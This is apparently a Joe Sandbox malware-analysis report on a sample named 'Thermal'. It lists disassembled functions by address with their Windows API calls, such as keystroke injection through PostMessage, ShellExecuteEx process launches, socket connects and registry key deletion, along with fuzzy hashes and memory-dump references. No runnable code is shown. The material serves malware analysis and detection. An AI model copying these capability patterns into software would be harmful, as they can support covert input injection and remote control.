Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 376f468af8ea12209756c451bab423d3195a628936898e713001cb35f35635af
Instruction ID: 0c7dbd7455648cc804e8886efb047b5a979c3609d9a1a60583019b849a2f67d4
Opcode Fuzzy Hash: 376f468af8ea12209756c451bab423d3195a628936898e713001cb35f35635af
Instruction Fuzzy Hash: E1319231904105EFDB11EF64DC89E6FB7B8EF49710B2441A5F904AB296D730DE94CBA0

Function 001A67F8 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 001A6810
GetDC.USER32(00000000), ref: 001A6818
GetDeviceCaps.GDI32(00000000,0000005A), ref: 001A6823
ReleaseDC.USER32(00000000,00000000), ref: 001A682F
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 001A686B
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 001A687C
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,001A964F,?,?,000000FF,00000000,?,000000FF,?), ref: 001A68B6
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 001A68D6

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 01c337be264f01fba31954a81070f4be216df2ec6e9725e9d2b8b9b99d9db0b1
Instruction ID: 51b810e57c1f0d362ddb36f34cdd2a488fac57d2e1393d8e148e75adeb82d126
Opcode Fuzzy Hash: 01c337be264f01fba31954a81070f4be216df2ec6e9725e9d2b8b9b99d9db0b1
Instruction Fuzzy Hash: AE316D76101214BFEB118F10CC8AFAB3BADEB4A761F044155FE089A291D7759891CB70

Function 0017C748 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0017C75D
_memcmp.LIBCMT ref: 0017C77F
_memcmp.LIBCMT ref: 0017C797
_memcmp.LIBCMT ref: 0017C7AA
_memcmp.LIBCMT ref: 0017C7C4
_memcmp.LIBCMT ref: 0017C7D7
_memcmp.LIBCMT ref: 0017C7EF
_memcmp.LIBCMT ref: 0017C80A

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 15cd855d1fbd221218b847222fd8ab78a4b8b711e0e63a881f6f0fe38400ac77
Instruction ID: dc28c497f7bb9880be3a49b26d72927a4d0ca0711a8a8db3998f294773ac1c97
Opcode Fuzzy Hash: 15cd855d1fbd221218b847222fd8ab78a4b8b711e0e63a881f6f0fe38400ac77
Instruction Fuzzy Hash: A121A4726012157AD60C7621CE82FEF377CAF25794F058029FE1AA6353EB50DE218AE1

Function 0018F166 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00124D37: __itow.LIBCMT ref: 00124D62
Part of subcall function 00124D37: __swprintf.LIBCMT ref: 00124DAC

Part of subcall function 0013436A: _wcscpy.LIBCMT ref: 0013438D

_wcstok.LIBCMT ref: 0018F2D7
_wcscpy.LIBCMT ref: 0018F366
_memset.LIBCMT ref: 0018F399

Strings

X, xrefs: 0018F3D6

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 3ef9f888a0c39cff88b53b0228723e9c966ebd6b1ffbc0006769d7baf9b8a6d3
Instruction ID: a3cf979a2c3388a75226ec08eeec987fdd3d5e7c7de9563f90f8985974d00d9a
Opcode Fuzzy Hash: 3ef9f888a0c39cff88b53b0228723e9c966ebd6b1ffbc0006769d7baf9b8a6d3
Instruction Fuzzy Hash: 2BC17B71608740AFC724EF64D891A6AB7E4FF94350F00492DF899972A2DB30ED46CF92

Function 001971EE Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 001972EB
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 0019730C
WSAGetLastError.WSOCK32(00000000), ref: 0019731F
htons.WSOCK32(?,?,?,00000000,?), ref: 001973D5
inet_ntoa.WSOCK32(?), ref: 00197392

Part of subcall function 0017B4EA: _strlen.LIBCMT ref: 0017B4F4
Part of subcall function 0017B4EA: _memmove.LIBCMT ref: 0017B516

_strlen.LIBCMT ref: 0019742F
_memmove.LIBCMT ref: 00197498

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 421d14a894c98848b6c7f9dcf2c357451a92b3c34c31453061096a95daf54724
Instruction ID: e19b77fe10127f8a62791856544b020740cf3901e2e39a92e6e1d4a088daef46
Opcode Fuzzy Hash: 421d14a894c98848b6c7f9dcf2c357451a92b3c34c31453061096a95daf54724
Instruction Fuzzy Hash: 3181D271618310ABDB14EB24DC82E6FB7A8EFA4714F10861CF5569B2D2EB70ED41CB91

Function 00121800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a35b6abf9d36672a80cdd91bdf09924768a15e2691c61674d4f898520167b32a
Instruction ID: e27894e23b4a8b435f9637f4dd0a823a81365970fbb89d9d61d51a126cedfe4d
Opcode Fuzzy Hash: a35b6abf9d36672a80cdd91bdf09924768a15e2691c61674d4f898520167b32a
Instruction Fuzzy Hash: C2717D30900119FFCB09DF58DC88ABEBB79FF99315F158259F915AB251C7309A61CBA0

Function 001AB9C3 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(010E4AA0), ref: 001ABA5D
IsWindowEnabled.USER32(010E4AA0), ref: 001ABA69
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 001ABB4D
SendMessageW.USER32(010E4AA0,000000B0,?,?), ref: 001ABB84
IsDlgButtonChecked.USER32(?,?), ref: 001ABBC1
GetWindowLongW.USER32(010E4AA0,000000EC), ref: 001ABBE3
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 001ABBFB

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 7cc363adfe5ab7963a79fe8a1f1d2d142cc0ab07531dd38c3eb3f41e3a0fc813
Instruction ID: 2e96a2a62618b077f28fc4fb3c18549ca918e88bc7e825d69712d164a3b52e2b
Opcode Fuzzy Hash: 7cc363adfe5ab7963a79fe8a1f1d2d142cc0ab07531dd38c3eb3f41e3a0fc813
Instruction Fuzzy Hash: DB71A238608284EFEB25DF54C8D4FBABBB5FF5A310F144059E946972A2C731AD90DB60

Function 0019FB07 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0019FB31
_memset.LIBCMT ref: 0019FBFA
ShellExecuteExW.SHELL32(?), ref: 0019FC3F

Part of subcall function 00124D37: __itow.LIBCMT ref: 00124D62
Part of subcall function 00124D37: __swprintf.LIBCMT ref: 00124DAC

Part of subcall function 0013436A: _wcscpy.LIBCMT ref: 0013438D

GetProcessId.KERNEL32(00000000), ref: 0019FCB6
CloseHandle.KERNEL32(00000000), ref: 0019FCE5

Strings

@, xrefs: 0019FC0E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: aa68bf086f257f399293bb24f33c013c88a65e48c9d1e38e5f36c5bbed2fdab1
Instruction ID: dc3d08156ae97f9d5c7abfac82c577b1081dbea20299715dc4e814942f20fd8e
Opcode Fuzzy Hash: aa68bf086f257f399293bb24f33c013c88a65e48c9d1e38e5f36c5bbed2fdab1
Instruction Fuzzy Hash: 51618C75A00629AFCF14EFA4C4919AEBBF5FF58310F148569E816AB351CB30AD42CF90

Function 0018174C Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0018178B
GetKeyboardState.USER32(?), ref: 001817A0
SetKeyboardState.USER32(?), ref: 00181801
PostMessageW.USER32(?,00000101,00000010,?), ref: 0018182F
PostMessageW.USER32(?,00000101,00000011,?), ref: 0018184E
PostMessageW.USER32(?,00000101,00000012,?), ref: 00181894
PostMessageW.USER32(?,00000101,0000005B,?), ref: 001818B7

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: e3063e1983c575abb8861ca946b7855a5bef433ed94ac9b190854f18d2de628a
Instruction ID: 3564a0b73efef7787748a193805d522c1ee57d5ea3e8385b4050b2d81e810a5f
Opcode Fuzzy Hash: e3063e1983c575abb8861ca946b7855a5bef433ed94ac9b190854f18d2de628a
Instruction Fuzzy Hash: EB51F5A29047D53DFB366224CC06BB67EED5B06304F08498DE0D5468C2D398DED6DF50

Function 00181565 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 001815A4
GetKeyboardState.USER32(?), ref: 001815B9
SetKeyboardState.USER32(?), ref: 0018161A
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00181646
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00181663
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 001816A7
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 001816C8

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 9d35a2d4b78077122e230e93254f4629538bf9b2da3925a65150577feb61141e
Instruction ID: e98419a9316456c54c6379a23ab22a6333b4dfcd71244b530a5c99e5dc7afbd8
Opcode Fuzzy Hash: 9d35a2d4b78077122e230e93254f4629538bf9b2da3925a65150577feb61141e
Instruction Fuzzy Hash: FF51F3A29047D53DFB36A324CC41BBA7EAD5B06300F1C8589E0D9468C2D794EE8AEB50

Function 00185BB8 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00185BC5
_wcsncpy.LIBCMT ref: 00185BFA
_wcsncpy.LIBCMT ref: 00185C2C
_wcsncpy.LIBCMT ref: 00185C5F
_wcsncpy.LIBCMT ref: 00185CA1
_wcsncpy.LIBCMT ref: 00185CDB
_wcsncpy.LIBCMT ref: 00185D0A

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: ec45c92c93d3f99f2d0ab31cca1e987dac73bc8363a2903adf732b233ac22cbf
Instruction ID: 8515722ee8d466e52b0a51a5456bf39b4184dd223df6e6e7826187ec62723097
Opcode Fuzzy Hash: ec45c92c93d3f99f2d0ab31cca1e987dac73bc8363a2903adf732b233ac22cbf
Instruction Fuzzy Hash: 7041ACA6C206187ACB11FBF4884AACFB3B9EF15320F508956F919E3121E734A35587A5

Function 00183B64 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00184BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00183B8A,?), ref: 00184BE0

Part of subcall function 00184BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00183B8A,?), ref: 00184BF9

lstrcmpiW.KERNEL32(?,?), ref: 00183BAA
_wcscmp.LIBCMT ref: 00183BC6
MoveFileW.KERNEL32(?,?), ref: 00183BDE
_wcscat.LIBCMT ref: 00183C26
SHFileOperationW.SHELL32(?), ref: 00183C92

Strings

\*.*, xrefs: 00183C20

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 8d7e4fd3b581fef58632ba598b285a8e4dbb1351daeb37fae3021ebd001b14a3
Instruction ID: b8ec68153fb470d54c4a2586d79258594ac64b4f55e4858e033bd9938460cc16
Opcode Fuzzy Hash: 8d7e4fd3b581fef58632ba598b285a8e4dbb1351daeb37fae3021ebd001b14a3
Instruction Fuzzy Hash: 96418BB140C344AAC752EF64C481ADBB7E8AF99740F44092EF49AC3161EB34D7888B52

Function 001A78B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001A78CF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 001A7976
IsMenu.USER32(?), ref: 001A798E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 001A79D6
DrawMenuBar.USER32 ref: 001A79E9

Strings

0, xrefs: 001A78C3

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 8cb44c7fa427467837b073c767941d0a85effff81b29914f0ef022afe69d2190
Instruction ID: f5b62877869d6b268f89def47bde603b8014a45fc41c866c6b928a4ba713dba8
Opcode Fuzzy Hash: 8cb44c7fa427467837b073c767941d0a85effff81b29914f0ef022afe69d2190
Instruction Fuzzy Hash: 0B414D75A04249EFDB20DF54D884E9AB7F9FB0A324F04412AE95597290C770AE50CF90

Function 001A1602 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 001A1631
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 001A165B
FreeLibrary.KERNEL32(00000000), ref: 001A1712

Part of subcall function 001A1602: RegCloseKey.ADVAPI32(?), ref: 001A1678
Part of subcall function 001A1602: FreeLibrary.KERNEL32(?), ref: 001A16CA
Part of subcall function 001A1602: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 001A16ED

RegDeleteKeyW.ADVAPI32(?,?), ref: 001A16B5

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 0a4c995ce765981966156d04b5e4eab11451f760b300b9d7c43646daf080ecb9
Instruction ID: 3bfe5bf56830c1640094cc5034d70671d2384ee426371a85ef9c0f6d04c859bf
Opcode Fuzzy Hash: 0a4c995ce765981966156d04b5e4eab11451f760b300b9d7c43646daf080ecb9
Instruction Fuzzy Hash: B0313AB5900209BFDB159B90DC89AFFB7BCEF09340F00026AF505E2150EB709E859AA0

Function 001A68F2 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 001A6911
GetWindowLongW.USER32(010E4AA0,000000F0), ref: 001A6944
GetWindowLongW.USER32(010E4AA0,000000F0), ref: 001A6979
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 001A69AB
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 001A69D5
GetWindowLongW.USER32(?,000000F0), ref: 001A69E6
SetWindowLongW.USER32(?,000000F0,00000000), ref: 001A6A00

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 7ff6e5372b57a6089511ea1ad3449664f9fe386fc4e95d1d220492953798d77b
Instruction ID: cc6b99caa18d3a5de2cc333579c98577ac74ea95c686e612b7aed7b130553f40
Opcode Fuzzy Hash: 7ff6e5372b57a6089511ea1ad3449664f9fe386fc4e95d1d220492953798d77b
Instruction Fuzzy Hash: CE313738604194EFEB22CF58DC88F6A37E1EB5A758F1911A4F5148F6B1CB72AC84CB50

Function 0017E287 Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0017E2CA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0017E2F0
SysAllocString.OLEAUT32(00000000), ref: 0017E2F3
SysAllocString.OLEAUT32(?), ref: 0017E311
SysFreeString.OLEAUT32(?), ref: 0017E31A
StringFromGUID2.OLE32(?,?,00000028), ref: 0017E33F
SysAllocString.OLEAUT32(?), ref: 0017E34D

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: fd5fe6d5916f7784ed04600f1ae5b72eb3cb9f6b4d21234a5e68638c02c53b07
Instruction ID: 7ecf7415243fd9311e6887dc6c35cdc5ff14a66545c071fd6fc0cf4df2f1d529
Opcode Fuzzy Hash: fd5fe6d5916f7784ed04600f1ae5b72eb3cb9f6b4d21234a5e68638c02c53b07
Instruction Fuzzy Hash: 95214F76604219AF9B11DFB8DC88CBB77FCEB0D360B548165FA18DB250D770AD858760

Function 0019685E Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00198475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 001984A0

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 001968B1
WSAGetLastError.WSOCK32(00000000), ref: 001968C0
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 001968F9
connect.WSOCK32(00000000,?,00000010), ref: 00196902
WSAGetLastError.WSOCK32 ref: 0019690C
closesocket.WSOCK32(00000000), ref: 00196935
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0019694E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 9ae34a7efa8a915ae46af1380eed7e6dd437aded9661acf200d20aba3b40883d
Instruction ID: c92573d32d8e0c76fbd5fc79008800f0c3f97ba9337adc27179a16281bec3661
Opcode Fuzzy Hash: 9ae34a7efa8a915ae46af1380eed7e6dd437aded9661acf200d20aba3b40883d
